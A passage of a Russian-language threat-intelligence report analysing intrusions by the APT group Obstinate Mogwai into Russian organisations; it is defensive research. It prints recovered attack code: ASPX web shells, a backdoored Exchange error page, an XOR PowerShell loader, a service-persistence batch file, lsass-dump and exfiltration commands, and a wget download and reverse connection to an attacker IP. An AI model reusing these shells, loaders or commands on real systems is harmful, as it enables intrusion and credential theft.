Оглавление
- Введение
- Кейс 1. Возвращение
джедаяситха - Кейс 2. Впустите нас на Exchange
- Кейс 3. Атака через подрядчика
- Атрибуция: возвращение IAmTheKing?
- Заключение
- Приложение 1. Используемый тулсет
- Приложение 2. IOCs
- Приложение 3. Расширенная информация по файловым IOCs
- Приложение 4. MITRE
- Приложение 5. Powershell-скрипт для сбора данных пользователей
- Приложение 6. Powershell скрипт для сбора системной информации
Введение
Obstinate Mogwai - это высокопрофессиональная, предположительно, прогосударственная хакерская группировка из восточной Азии, которая занимается кибершпионажем. Типичный профиль целей группировки - государственные организации, ИТ-компании и их подрядчики.
В период с 2023 по начало 2024 года мы расследовали атаки Obstinate Mogwai минимум на четыре российских организации. Для проникновения в целевую сеть группа активно применяет эксплуатацию публично доступных сервисов на периметре (Exploit Public-Facing Application), доступ через подрядчика (Trusted Relationship) и легитимные аккаунты (Valid Accounts). Особый интерес у группы вызывают серверы Exchange, которые регулярно становились точкой проникновения в инфраструктуру.
В исследованных нами кейсах 2023 и 2024 годов атакующие использовали известные вредоносные инструменты KingOfHearts и TrochilusRAT, а также два новых бэкдора – Donnect и DimanoRAТ, о которых, насколько нам известно, пока не успел рассказать никто из наших коллег по индустрии.
Мы назвали группировку Obstinate Mogwai (“Упрямый демон” в переводе с англ.), поскольку, с нашей точки зрения, это имя точно описывает характер атакующих. Расследуя инциденты, мы видели, как хакеры вновь и вновь возвращались в атакованную организацию, пока мы окончательно не закрыли им все возможности для проникновения. А спустя время мы снова обнаруживали следы дополнительных попыток (на этот раз неудачных) проникнуть в инфраструктуру, которую мы защищали. Другими словами, группировка отличается настойчивостью, если не сказать упрямством.
В другом инциденте атакующие столкнулись с преградой: на компьютере, где хранилась конфиденциальная информация, действовали политики, запрещающие копировать данные. Другая группировка пошла бы исследовать другие хосты в инфраструктуре, но Obstinate Mogwai открыли сессию удаленного доступа и стали просматривать файлы в реальном времени прямо на хосте, вновь подтвердив справедливость характеристики, которую мы отразили в их названии.
В этой статье мы подробно разберем тактики, техники и процедуры Obstinate Mogwai на примере трех расследований, в которых мы принимали непосредственное участие. Поделимся профилем группировки и используемым инструментарием. Покажем различные связи Obstinate Mogwai с другими азиатскими APT-группировками, в числе которых IAmTheKing (PowerPool), последний публичный отчет о которой был опубликован в 2020 г. нашими коллегами.
Краткое содержание отчета:
- Расследуя инцидент в ИТ-компании в 2023 году мы обнаружили следы деятельности группировки, которую мы назвали Obstinate Mogwai.
- Группировка активна минимум с 2019 года и по настоящее время.
- К моменту начала нашего расследования, группировка находилась в сети организации около двух лет и оставила множество артефактов своей деятельности, которые описаны в статье.
- За последовавшие месяцы мы расследовали ещё два инцидента с участием Obstinate Mogwai. В обоих случаях атаку удалось остановить на ранних стадиях.
- В одном из инцидентов, атакующие использовали экзотическую технику эксфильтрации информации: через скриншоты и\или запись экрана, чтобы не вызывать подозрений при похищении файлов напрямую
- В ходе расследований мы обнаружили пересечения Obstinate Mogwai с другими известными азиатскими группировками: IAmTheKing, HAFNIUM (Silk Typhoon) и APT31.
Кейс 1. Возвращение джедая ситха
В 2023 году мы расследовали атаку на компанию-провайдера ИТ-услуг. Злоумышленники заразили почти всю инфраструктуру цели: контроллеры доменов, почтовые серверы и ряд других серверов (например, WSUS, системы баз данных, системы разработки, терминальные серверы), системы на периметре и системы ключевых администраторов. Инфраструктура заказчика достаточно разветвленная и имеет множество связанных подсетей других организаций (которые являются клиентами и партнерами). В связи с этим противостояние с атакующими было длительным и потребовало от нас постоянных усилий для митигации новых использованных векторов атак.
Именно в этом инциденте мы столкнулись с применением техники десериализации VIEWSTATE о которой ранее в этом году рассказывали в нашем блоге.
Первоначальное проникновение и связь с HAFNIUM
Получив от заказчика информацию для расследования, мы очень скоро выяснили, что группировка имеет доступ к сети организации уже очень давно. Атакующие обосновались в ней за два года до начала расследования.
Первые следы присутствия атакующих в инфраструктуре заказчика мы нашли на серверах Exchange (они датировались 2021 годом). Например, следы веб-шелла по пути C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\PassExpire.aspx, детектированного АВПО на системе. Антивирус обнаружил и заблокировал угрозу в феврале 2021 года, но в тот же день, уже после детектирования, ветку реестра SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest изменили: установили параметр UseLogonCredential в значение “1”. Данный параметр в таком значении позволяет системе хранить пароли в памяти в виде открытого текста. Другими словами, антивирус задетектировал только один из нескольких инструментов атакующих, но не остановил атаку.
Примечательно, что даты начала инцидента совпадают с печально известной массовой автоматизированной атакой группировки HAFNIUM на серверы Exchange по всему миру. Она производилась с помощью критической 0-day (и незакрытой на тот момент) уязвимости ProxyLogon в Microsoft Exchange.
Несмотря на то, что мы реагировали на инцидент в 2023 году (спустя два года после атаки), и все журналы ротировались, у нас есть твердое убеждение, подтверждаемое фактами, что именно эту уязвимость Obstinate Mogwai использовали в 2021 году для первоначального проникновения в сеть организации. При этом мы не считаем, что HAFNIUM и Obstinate Mogwai - это одна и та же группировка. Скорее, обе группы, имея одно и то же географическое происхождение, обменивались информацией, которую используют для атак. Обмен опытом - характерная черта многих азиатских группировок.
Развитие атаки
Через сутки после первоначального проникновения, на серверах Exchange атакующие создали файлы C:\ProgramData\7z.dll и C:\ProgramData\aas.log (переименованный исполняемый файл 7z.exe). Затем - создали каталог C:\ProgramData\cerden\, который предположительно использовался для создания и эксфильтрации архивов.
В тот же день на серверах Exchange разместили веб-шелл C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\options.aspx (MD5: 505af1d8b13ff998492021380221e4b9). Он маскировался под файл стилей css и предназначался для загрузки других файлов. Маскировку выполнили вот как: весь CSS-код описан в теге <pre> (текст, отображающийся в моноширинном шрифте), а на 971 строке размещен код веб-шелла в одну строку:
В отформатированном виде он выглядит так:
<%@ Page Language="C#" Debug="false" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, System.EventArgs e) {}
protected void ploadc(object sender, EventArgs e){
string filename = Path.GetFileName(upload.FileName);
upload.SaveAs(console.Text + "\\" + filename);
}
</script>
<HTML>
<form id="Form1" method="post" runat="server">
<asp:TextBox ID="console" runat="server"></asp:TextBox>
<asp:FileUpload ID="upload" runat="server"/>
<asp:Button runat="server" OnClick="ploadc" />
</form>
</HTML>
Как веб-шелл видели атакующие (путь и имя файла мы выбрали для большей наглядности):
Элемент FileUpload позволяет атакующему выбрать файл на своей системе. После нажатия на кнопку файл загружается по пути, указанному в TextBox.
Кроме размещения обычных веб-шеллов атакующие применили интересную технику в виде создания «скрытых» задач. Под «скрытыми» мы понимаем задачи, которых нет на файловой системе и которые не отображаются в планировщике задач. Они имеются только в реестре по пути HKLM\SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}. Для того, чтобы задачи не отображались в планировщике задач, достаточно, чтобы в Windows (начиная с Windows 8) ключ Index имел значение “0x00”, либо ключ SD имел значение “null”. Задача будет работать ровно так, как запланировано, но ее не будет видно через планировщик, и у нее не будет соответствующего файла в файловой системе. Для Windows 7 и более ранних систем подобная история неприменима. Для первоначального размещения (на момент исследования задачи в виде xml файлов отсутствуют, данные получены из вышеуказанного реестра) использовались пути к задачам:
- C:\Windows\System32\Tasks\Microsoft\Windows\Clip\Check
- C:\Windows\System32\Tasks\Microsoft\Windows\Location\Alert
В задачах из реестра мы обнаружили не только служебные данные о задачах, но и поле Actions, в котором имелась одинаковая команда:
cmd /c copy C:\ProgramData\Microsoft\MF\Core.GRL "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\error.aspx" && timeout /t 9000 && del "C:\Program Files\Microsoft\Exchange Server\V15\\FrontEnd\HttpProxy\owa\auth\error.aspx"
Указанная команда копирует файл C:\ProgramData\Microsoft\MF\Core.GRL в C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\error.aspx и удаляет его по таймауту в 9000 секунд (2,5 часа). Задачи срабатывали каждый день в 4 утра UTC+3. То есть у атакующих было весьма ограниченное количество времени для выполнения интересующих их действий, однако таким образом они обеспечивали себе большую скрытность: к началу рабочего дня в зоне UTC+3 файла уже не было в системе. А значит, заметить признаки компрометации сложнее. Файл Core.GRL имеет ту же функциональность и программный код, что и options.aspx, описанный выше.
Продолжаем тему веб-шеллов. В апреле 2022 года в системе создана задача Tasks\Microsoft\Windows\WindowsUpdate\AUSessionagent, которая выполняет следующий код:
powershell -exec bypass -c ". c:\programdata\microsoft\scrollend.ps1;dec -key EJFELNGELKkdkflelrel2342343423LDLFLEFLEL3432423432DLFLFELELELFEL -command c:\programdata\microsoft\scrollend.log"
Файл scrollend.ps1 весит 18MB и является обфусцированным powershell-кодом. Обфускация заключается во вставках комментариев (строк в тегах <# #>), состоящих из огромного количества повторяющихся отсортированных строк с названиями функций Powershell:
В одном блоке 410 строк. Число повторений этих блоков в начале и в конце скрипта очень большое, а в середине – значительно меньше. Схематично это выглядит так:
Начало скрипта |
|
---|---|
Количество повторений блоков |
Количество строк |
1 951 |
799 910 |
powershell-код |
|
50 |
20 500 |
powershell-код |
|
100 |
41 000 |
powershell-код |
|
700 |
287 000 |
powershell-код |
|
1 199 |
491 590 |
Конец скрипта |
Между обфусцированными вставками присутствует вредоносный powershell-код:
Аналогичную схему обфускации мы описывали в нашей первой статье про Obstinate Mogwai и наблюдали в инцидентах 2020-2021 годов, про которые рассказывали в 2021 году в докладе “Operation LongChain. История одного расследования”.
Деобфусцированный скрипт scrollend.ps1 выглядит следующим образом:
function dec
{
param(
[parameter(mandatory = $true)]
[string]$key,
[parameter(mandatory = $true)]
[string]$command
)
$cyphertexts = gc $command
foreach($cyphertext in $cyphertexts)
{
$keyArray =[System.Text.Encoding]::ASCII.GetBytes($key)
$encodedArray= [System.Text.Encoding]::ASCII.GetBytes([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($cyphertext)))
$plainText = ""
$keyposition = 0
$encodedArray | foreach-object -process {
$plainText += [char]($_ -bxor $KeyArray[$keyposition % $KeyArray.Length])
$keyposition += 1
}
$plainText = $plainText -replace 'a!a!','';
Invoke-Expression $plainText
}
}
Этот скрипт расшифровывает с помощью xor и заданного ключа powershell-скрипт из файла scrollend.log и выполняет его.
Расшифрованный powershell-скрипт из scrollend.log:
$file1 = 'planc_settings.aspx'
$file2 = 'settings.png'
$num = gci "c:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\" |
Where-Object { $_.Attributes -eq 'Directory' } |
Where-Object { $_.Name -match '15*' } |
ForEach-Object { $_.Name }
$pth_sh = "c:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources"
$pth_bk = "C:\ProgramData\Microsoft\RAC"
$time = Get-Date
$log = 'count.htm'
$log2 = 'over.mds'
function bk {
if (!(Test-Path $pth_bk\$log2)) {
Copy-Item $pth_bk\$file2 $pth_sh\$file1 -Force
Start-Sleep -Seconds 15
if (!(Test-Path $pth_sh\$file1)) {
Add-Content -Path $pth_bk\$log2 -Value 'file over'
Add-Content -Path $pth_bk\$log -Value $time
Copy-Item -Path $pth_bk\$log -Destination $pth_sh -Force
}
} else {
Add-Content -Path $pth_bk\$log -Value $time
Copy-Item -Path $pth_bk\$log -Destination $pth_sh -Force
}
Start-Sleep -Seconds 14400
Remove-Item -Path $pth_sh\$file1 -Force
Remove-Item -Path $pth_sh\$log -Force
}
function main {
bk
}
main
Основное назначение кода – копирование файла C:\ProgramData\Microsoft\RAC\settings.png в расположение С:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources\planc_settings.aspx, где $num – версия Exchange.
Файл planc_settings.aspx является практически полной копией старого легитимного файла C:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\errorFE.aspx (MD5: 4aa571196877ceb6acd4202107b5ea75):
Во вредоносный errorFE.aspx добавили три вредоносные строки, которые позволяют загружать указанный файл по указанному пути:
<% int ShouldSendOWAPlt1RequestCount=Request.Files.Count; %>
<% if (ShouldSendOWAPlt1RequestCount >0) %>
<% {Request.Files[0].SaveAs(Request.Form["ThemeFiles"] ); }%>
Также в легитимном файле errorFE.aspx из Exchange 2019 CU11 имеются строчки:
<% if (ShouldSendOWAPlt1Request) {%>
function sendPlt1Request() {
var qp = "<%=GetPlt1QueryString%>";
var request = new XMLHttpRequest();
request.open("POST", "/owa/plt1.ashx" + qp, true);
request.setRequestHeader("X-OWA-PLT-Info","<%=GetXOWAPLTInfoHeaderValue%>")
request.send("<%=GetPlt1RequestBody%>");
}
// Iframes and plugins rendering the error page are not considered as boot failure
if (!isInIframe) {
sendPlt1Request();
}
Строку ShouldSendOWAPlt1Request злоумышленники использовали в своих вредоносных строчках. Несмотря на то, что в оригинальном errorFE.aspx файле, который забэкдорили, нет упоминаний этой строчки, Obstinate Mogwai использовали ее, скорее всего, для маскировки вредоносных строк под легитимные. Нечто подобное злоумышленники делали при выборе названий для параметров POST-запросов в .NET сборках, про которые мы писали в предыдущей статье о данной группировке. Это характерная для Obstinate Mogwai тактика - группировка предпочитает прятать вредоносные инструменты в легитимном коде. Подобный подход к созданию веб-шеллов сделан для затруднения детектирования и обнаружения.
После задержки в 14400 секунд (4 часа) веб-шелл удаляется. И указанная задача, и та, что описана ниже, запускались каждый день в 4 утра UTC+3 - снова уже знакомая тактика сокрытия следов вредоносной активности от возможных наблюдателей.
Также на другом хосте мы наблюдали использование похожего на scrollend.ps1 скрипта. Он располагался по другому пути и имел другое имя – c:\programdata\microsoft\wdf\Speech.ps1. Для его запуска использовалась команда:
powershell.exe -exec bypass -c ". c:\programdata\microsoft\wdf\Speech.ps1;tip 5oR95oiG976836R15e407z3712299z14IP0051b760I02y812T1o1M3c461ZQe64 -command c:\programdata\microsoft\wdf\Speech.log"
Расшифрованная нагрузка была аналогична вышеописанной. Отличия были только в значениях переменных $file1, $file2 и $pth_bk:
$file1='lgnexlogo.aspx' # имя веб-шелла в каталоге owa/auth/…
$file2='errorFE.png' # резервная копия веб-шелла
$pth_bk="C:\ProgramData\Microsoft\WDF" # путь для хранения резервной копии
Скрипт c:\programdata\microsoft\wdf\Speech.ps1 запускался задачей Tasks\Microsoft\Windows\Diagnosis\Schduled (орфография атакующих сохранена), после чего декодировал полезную нагрузку из файла c:\programdata\microsoft\wdf\Speech.log и копировал файл с веб-шеллом из C:\ProgramData\Microsoft\WDF\errorFE.png в файл c:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources\lgnexlogo.aspx.
Далее, не позднее августа 2022 года, на серверах Exchange была создана задача C:\Windows\System32\Tasks\ADOBEYY (сама она удалена), которая, предположительно, осуществляла дамп процесса lsass. В тот же день на системе обнаружили файл C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\Exfrontess.png. В указанном файле находился опять же переименованный файл архива 7-zip с установленным паролем JVJDKSJSF123. А в архиве - файл Rt.bin, который являлся дампом процесса lsass. Мы обнаружили, что из этого дампа атакующие получили учетные данные более 100 доменных и локальных пользователей. Таким образом, с высокой степенью уверенности можно утверждать, что для эксфильтрации использовалась функциональность самого Exchange.
Позже в октябре этого же года Obstinate Mogwai создали файл веб-шелла C:\inetpub\wwwroot\aspnet_client\system_web\iis_error.aspx (аналогичен веб-шеллу big-shell). В нем имеются следующие переменные для доступа:
private const string password = "con#1234"; // The password ( pass )
private const string style = "dark"; // The style ( light / dark )
Он продолжал использоваться и в 2023 году. Вот примеры обращений к веб-шеллу из журналов 2023 года, в которых явно видны просматриваемые каталоги:
2023-05-04 00:00:27 [redacted-local-IP] GET /aspnet_client/system_web/iis_error.aspx act=fuploader 443 - 139.84.139.176 Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64;+rv:109.0)+Gecko/20100101+Firefox/115.0 https://owa.[redacted]/aspnet_client/system_web/iis_error.aspx?act=fbrowser&dir=C%3a%5c 200 0 0 301
2023-05-21 03:18:21 [redacted-local-IP] GET /aspnet_client/system_web/iis_error.aspx act=fbrowser&dir=C%3a%5cUsers%5cPublic%5cPictures%5c 443 - 192.121.47.214 Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64;+rv:109.0)+Gecko/20100101+Firefox/115.0 https://owa.[redacted]/aspnet_client/system_web/iis_error.aspx?act=fbrowser&dir=C%3a%5cUsers%5cPublic%5c 200 0 0 1055
Также в файле истории одного из администраторов системы сохранились неудаленные атакующим команды. Интересующие представлены ниже:
Compress-Archive -Path C:\Users\[redacted]\AppData\Local\Temp\*.dmp -DestinationPath c:\programdata\20220303-20220303.zip -Force;
copy c:\programdata\20220303-20220303.zip "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\20220303-20220303.png"
net group "domain admins" /domain
net user [redacted] /domain
copy c:\programdata\20220303-20220303.zip "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\20220303-20220303.png"
dir c:\programdata\
del C:\Users\[redacted]\AppData\Local\Temp\lsass.dmp
dir C:\Users\[redacted]\AppData\Local\Temp\
del C:\Users\[redacted]\AppData\Local\Temp\lsass*.dmp
del "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\20220303-20220303.png"
dir "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\"
cd c:\programdata\
dir
dir SoftwareDistribution
dir Microsoft
dir Microsoft\rac
dir Microsoft\wdf
copy 20220303-20220303.zip c:\programdata\Microsoft\wdf\
dir c:\programdata\Microsoft\wdf\
del 20220303-20220303.zip
dir
del svcsvb.exe
dir
dir C:\Users\[redacted]\AppData\Local\Temp\
cls
logoff
Упомянутый svcsvb.exe являлся утилитой NBTScan (MD5 f01a9a2d1e31332ed36c1a4d2839f412), переименованный исполняемый файл nbtscan-1.0.35.exe. Для сканирования с Exchange также использовалась утилита NBTScan из расположений C:\Users\ Administrator\Documents\gitlab.exe, C:\Users\Administrator\gitlab.exe.
В ноябре 2022 года видны следы атаки на систему, в которой используется ОС семейства Unix (единственная значимая атакованная система среди ОС семейства Unix). В процессе атаки использовалась утилита Venom proxy, которая располагалась по путям /tmp/apache_x64 и /tmp/tar, а хэши файлов соответствовали файлам версии 1.1.0 из 7z-архива проекта на Github. В неразмеченном пространстве мы обнаружили команды для загрузки (их использовали уже в январе 2023) указанной программы:
ls /tmp
php_upload
./apache_x64
wget -O /tmp/apache_x64 http://85.159.208.143/apache_x64
chmod 777 ./apache_x64
--2023-01-04 20:42:20-- http://85.159.208.143/apache_x64
Connecting to 85.159.208.143:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3882688 (3.7M) [application/octet-stream]
Saving to: '/tmp/apache_x64'
0% [ ] 0 --.-K/s
11% [===> ] 454,512 1.93MB/s
100%[======================================>] 3,882,688 10.2MB/s in 0.4s
2023-01-04 20:42:21 (10.2 MB/s) - '/tmp/apache_x64' saved [3882688/3882688]
Venom version: 1.1
$ ./venom_agent -lport [port]
$ ./venom_agent -rhost [ip] -rport [port]
$ ./venom_agent -lhost [ip] -reuse-port [port]
$ ./venom_agent -lport [port] -reuse-port [port]
Options:
-lhost ip
Local ip address.
-lport port
Listen a local port.
-passwd password
The password used in encrypted communication. (optional)
-reuse-port port
The port to be reused.
-rhost ip
Remote ip address.
-rport port
The port on remote host.
Для выполнения команд использовалась оболочка sh:
sh-4.2# %
ps -la
nohup /tmp/tar -rhost 85.159.208.143 -rport 80 -passwd admin@123
<ost 85.159.208.143 -rport 80 -passwd admin@123 &
[1] 7668
F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD
0 S 0 7668 7528 96 80 0 - 26857 futex_ pts/41 00:25:41 tar
4 R 0 8407 7528 0 80 0 - 13722 - pts/41 00:00:00 ps
kill 7668
С 2022 года вплоть до середины 2023 года основным средством Obstinate Mogwai для удаленного администрирования систем на ОС Windows являлся TrochilusRAT, для запуска которого использовалась хорошо известная техника DLL side-loading. Чаще всего для закрепления TrochilusRAT злоумышленники использовали схему, которая включает создание службы, например, Microsoft Resource (команда для запуска "C:\ProgramData\MicrosoftResource\TextInputHost.exe" dhyb) и размещение в каталоге C:\ProgramData\MicrosoftResource\ различных файлов, например:
Путь |
MD5 |
Описание |
---|---|---|
C:\ProgramData\MicrosoftResource\TextInputHost.exe |
325b897cde70ce7c42f0a8c6e135b6c2 |
ПО Bandizip Command line tool Оригинальное название: Bandizip.exe |
C:\ProgramData\MicrosoftResource\ark.x86.dll |
0a8ae8de9650a695eeb27a783fc299f3 |
TrochilusRAT, запускает вредоносный код из dat-файлов |
C:\ProgramData\MicrosoftResource\sc.cfg |
97f37f99edf74805812d5d251dc59e46 |
Файл конфигураций TrochilusRAT С2: |
C:\ProgramData\MicrosoftResource\TextInputHost.dat |
078d72a61fe3de477669fcf07ef66fb3 |
Полезная нагрузка TrochilusRAT |
C:\ProgramData\MicrosoftResource\ser.dat |
25c047f53e1b6b88d376e90a3d987050 |
Полезная нагрузка TrochilusRAT |
C:\ProgramData\MicrosoftResource\rcdll.dat |
4ece4abc0ab1b8b1147095f159b77a89 |
Полезная нагрузка TrochilusRAT |
Начиная с 2022 года Obstinate Mogwai эпизодически использовали новое ВПО, которое мы назвали Donnect и DimanoRAT. Во второй половине 2023 года они начинали активно использовать их в своих операциях.
DimanoRAT позволяет злоумышленникам выполнять различные команды на хосте жертвы. Например: создание интерактивного шелла, менеджмент файлов и процессов, сбор информации о зараженной системе с помощью WQL-запросов, а также обновление своей конфигурации.
Donnect - это бэкдор, позволяющий атакующим загружать с С2 и выполнять в памяти дополнительные вредоносные импланты. Более подробное описание Donnect и DimanoRAT приведем в отдельной публикации.
Оба ВПО закрепляются как сервис. Закрепление осуществляется с использованием командного файла C:\PerfLogs\helpsvc.bat (MD5: 518ae23346d7bf3bd38dd30385fa99fa). Данные файла helpsvc.bat:
@echo off
sc stop helpsvc
sc delete helpsvc
sc create helpsvc binpath= "C:\Windows\System32\svchost.exe -k netsvcs" type= share start= auto displayname= "help service"
sc description helpsvc "Retrieves the serial number of any portable music player connected to your computer."
sc failure helpsvc reset= 0 actions= restart/0
reg add HKLM\SYSTEM\CurrentControlSet\Services\helpsvc\Parameters /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\System32\helpsvc.dll
reg add HKLM\SYSTEM\CurrentControlSet\Services\helpsvc\Parameters /v ServiceMain /t REG_SZ /d ServiceMain
reg add HKLM\SYSTEM\CurrentControlSet\Services\helpsvc\Parameters /v ServiceDllUnloadOnStop /t REG_DWORD /d 1
C:\Windows\System32\helpsvc.dll (MD5: c12f657efa3fa47e43e2b313a4e28d27), размещенный в апреле 2022 года, является экземпляром ВПО Donnect (C2: 27.102.115[.]153:443)
Далее в 2023 году атакующие начали использовать программу CMPSpy класса стиллер, которая перехватывает и записывает в лог C:\Windows\Temp\c.ini аутентификационные данные в открытом виде. Указанная программа размещалась на ключевых системах заказчика, таких как контроллер домена и почтовый сервер.
Закрепление программы осуществлялось в результате запуска powershell скрипта, такого как C:\Windows\Temp\ConfigureRegistrySettings.ps1 (полностью совпадает с https://github.com/fengwenhua/CMPSpy/blob/main/ConfigureRegistrySettings.ps1 из того же проекта).
Obstinate Mogwai использовали интересный метод закрепления скрипта: они не только создавали сервис CMPSPY, который непосредственно запускает библиотеку C:\Windows\System32\CMPSpy.dll, но и добавляли запись CMPSpy в ветки реестра:
- HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
- HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\HwOrder
Скрипт выше добавляет строку «,CMPSpy» в конец значения PROVIDERORDER, поэтому если запускать скрипт многократно, то строка CMPSpy будет дублироваться. Пример с одной из систем «[легитимные значения],CMPSpy,CMPSpy,CMPSpy,CMPSpy».
Новый NetworkProvider в виде модуля CMPSpy вмешивался в процесс аутентификации и получал данные из некоторых сетевых протоколов. В процессе входа Winlogon (модуль интерактивного входа) отправляет аутентификационные данные в локальный процесс mpnotify.exe через вызовы RPC. А процесс mpnotify.exe, в свою очередь, отправляет аутентификационные данные в открытом виде в зарегистрированные модули – тот самый модуль CMPspy.
Попытки возвращения в инфраструктуру
В начале сентября 2023 проведено реагирование. Однако полностью пресечь атаку не удалось, так как остались скомпрометированные подсети, системы и подрядчики, отключение которых могло бы нарушить бизнес-процессы. С использованием этих ранее скомпрометированных систем злоумышленники продолжали атаки, причем основной их целью было восстановление контроля над почтовыми серверами, через которые было удобно развивать атаки. Чего только они не пробовали, чтобы восстановить доступ.
1. Атака на Exchange с целью размещения нового веб-шелла, DimanoRAT, Donnect и иных образцов ВПО.
В процессе реагирования с одного из серверов Exchange не был удален один из обнаруженных веб-шеллов, который использовался для продолжения атаки и размещения нового веб-шелла. Для начала приведем примеры команд, выполненных Obstinate Mogwai на почтовом сервере через оболочку Powershell с помощью нового веб-шелла:
Дата и время (UTC+3) |
Команда |
Комментарий |
---|---|---|
Day1 04:31:16 |
net user [redacted] /domain |
Получение информации о пользователях домена |
Day1 04:33:12 |
net user [redacted1] /domain |
|
Day1 04:37:10 |
net user [redacted2] /domain |
|
Day1 04:39:21 |
net user [redacted3] /domain |
|
Day1 04:40:51 |
net user [redacted4] /domain |
|
Day1 05:47:30 |
gci c:\windows\help |
Просмотр содержимого директории |
Day1 05:49:20 |
schtasks /create /tn resources /tr 'c:\programdata\help\kvs.exe' /sc onstart /ru system /f |
Создание задачи resources для запуска файла kvs.exe |
Day1 05:50:52 |
schtasks /run /tn resources |
Запуск задачи resources |
Day1 05:50.53 |
get-process |
Просмотр списка процессов |
Day1 05:51:52 |
dir 'c:\Program Files (x86)\Kaspersky Lab\' |
Просмотр директории |
Day1 05:54:11 |
schtasks /create /tn resources /tr 'c:\windows\help\kvs.exe' /sc onstart /ru system /f |
Создание задачи resources для запуска файла kvs.exe |
Day1 05:55:34 |
schtasks /run /tn resources |
Запуск задачи resources |
Day1 05:58:50 |
Remove-Item c:\windows\help\kvs* |
Очистка директории от файлов, начинающихся с kvs |
Day2 04:42:11 |
gci c:\programdata\ |
Просмотр директории |
Day2 05:32:11 |
c:\'program files'\7-zip\7z.exe e c:\programdata\Cursors.zip -p4Bo5#!9G55R90 -oc:\programdata\ -y |
Распаковка архива Cursors.zip с паролем 4Bo5#!9G55R90 (ошибка в команде) |
Day2 05:35:06 |
c:\programdata\7z.exe e c:\programdata\Cursors.zip -p4Bo5#!9G55R90 -oc:\programdata\ -y |
Повторная распаковка |
Day2 05:37:01 |
schtasks /create /tn resources /tr 'c:\programdata\Cursors.exe' /sc onstart /ru system /f |
Создание задачи resources для запуска файла Cursors.exe |
Day2 05:37:40 |
schtasks /run /tn resources |
Запуск задачи resources |
Day2 05:40:35 |
Remove-Item c:\programdata\result.txt |
Очистка директорий |
Day2 05:41:20 |
Remove-Item c:\programdata\Cursors* |
|
Day2 05:43:44 |
Remove-Item c:\programdata\7z* |
|
Day2 05:43:23 |
Remove-Item c:\programdata\out.log |
|
Day2 05:52:12 |
tasklist /v |
|
Day2 06:20:24 |
Remove-Item c:\programdata\7z.dll |
|
Day2 06:21:22 |
Remove-Item c:\programdata\7z.dll |
|
Из команд явно видно, что заражение происходило в результате ручной работы оператора. Причем заметно, что атакующие стараются удалять за собой использованные инструменты, чтобы не оставлять дополнительной информации для исследователей.
Веб-шелл AntSpy
Во время атаки на этот Exchange атакующие разместили любопытный веб-шелл по пути C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\<num>\themes\resources\errorFE.aspx (MD5: 0312f474debf9cef2843fa67b56f2c3d). Мы назвали его AntSpy, потому что его код основан на двух старых веб-шеллах: Antak и ASPXSpy.
Obstinate Mogwai применили l33t-обфускацию и реализовали многоуровневый доступ к веб-шеллу: чтобы получить доступ к панели выполнения команд оператору необходимо было пройти три уровня доступа. Более подробно про AntSpy и его особенности мы расскажем в отдельной публикации.
2. DCSYNC от старого legacy-домена, DimanoRAT и якобы легитимный C2
Мы обнаружили DCSYNC на домен заказчика со старого легаси домена, с которым была сетевая связность и односторонние трасты. Напомним, что DCSync - это атака, использующая легитимный механизм репликации данных между контроллерами доменов (или системой выдающей себя за таковой). Получение таких данных может вести к полной компрометации целевого домена, поэтому к данному событию необходимо отнестись со всей серьезностью. В описываемом случае DCSYNC шла со старого легаси-домена. Заказчик подтвердил, что такого быть не должно, и мы запустили расследование для установления причин.
На источнике атаки обнаружили старую как мир технику. В файле C:\Windows\System32\mprdimsys.dl (MD5: 842ebb16b5a0a7a55f35cd53fbc53e3b) мы обнаружили бэкдор, закрепленный с использованием службы “RemoteAccess”. В качестве C2 для подключения был указан “m.yandex.ru”. Это адрес легитимного ресурса. Мы задались вопросом: неужели это повторение истории с бэкдорами Mail-O, Webdav-O из 2021 года? Mail-O и Webdav-O из нашего совместного публичного отчета с НКЦКИ - уникальные образцы которые представляют возможность выполнения команд через облачные сервисы Mail.ru и Яндекс.Диск. Также они имеют функциональные возможности для загрузки данных на указанные атакующими сервисы. Почему мы сразу вспомнили про эти образцы? Потому что в качестве C2 использовался сервис компании Яндекс. Но все оказалось гораздо проще. Позже выяснилось, что бэкдором оказался DimanoRAT, а атакующие изменили содержание hosts и добавили туда строку:
185.4.66.116 m.yandex.ru
Интересная попытка сбить с толку исследователей, и возможно, уйти от обнаружения.
3. WinRM и .NET версия бэкдора KingOfHearts
Во время очередной атаки на Exchange наблюдали в журналах подобные строки запросов:
